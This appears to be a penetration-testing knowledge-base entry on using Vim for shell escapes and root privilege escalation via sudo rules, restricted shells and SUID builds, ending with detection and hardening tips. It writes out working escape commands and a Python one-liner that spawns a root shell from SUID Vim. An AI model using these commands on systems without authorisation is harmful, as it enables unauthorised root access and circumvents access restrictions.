Vim — Shell Escape and SUID Abuse

Vim is ubiquitous on UNIX systems, which makes it a reliable shell-escape and privilege-escalation vector when it is misconfigured — reachable via sudo NOPASSWD rules, set SUID, or invoked from a restricted shell. GTFOBins catalogs Vim as a standard breakout binary.

Shell escape via sudo

If vim (or vi) can be run via sudo without a password, commands execute as root with the ! prefix, or a full shell can be spawned:

:!/bin/sh
:shell

Exotic shells break ! and :shell

Vim implements :!cmd by running $SHELL -c "cmd", and :shell by exec’ing $SHELL directly. When /etc/passwd assigns a non-standard shell (e.g., /bin/false, rbash, a menu script), both operations fail or hang.

Fix from inside Vim — override the shell option:

:set shell=/bin/bash
:shell

The same $SHELL dependency causes SSH-forced commands to fail for accounts with exotic login shells.

SUID Vim

If Vim is installed SUID root and compiled with Python support, it yields a root shell (via GTFOBins):

vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

Use :py instead of :py3 on builds with only Python 2. The -p flag preserves the effective UID so the shell stays root.

Warning

Vim must drop privileges carefully to be safe as SUID; upstream documentation warns against installing Vim setuid. In practice, SUID Vim with an embedded interpreter is almost always an instant privesc.

Detection and hardening

• Sudo rules: sudo -l reveals NOPASSWD entries; any editor (vim, vi, nano, less, more) is an escape hatch.
• File capabilities / SUID audit: find / -perm -4000 -type f 2>/dev/null (see find-command) should never list an editor.
• Restricted shells: prefer removing vim from $PATH for restricted accounts over relying on rbash; :set shell defeats most naive restrictions.

Sources

• GTFOBins — vim
• Vim documentation: options
• Vim documentation: various
• SSH commands fail with non-standard shell in /etc/passwd — Stack Overflow

Related: shell-stabilization, find-command, suid-shell-executable, unix-permissions, xxd, nano-shell-escape, less-shell-escape, man-shell-escape, awk-shell-escape, iftop-shell-escape, bash-p-flag-suid-privileges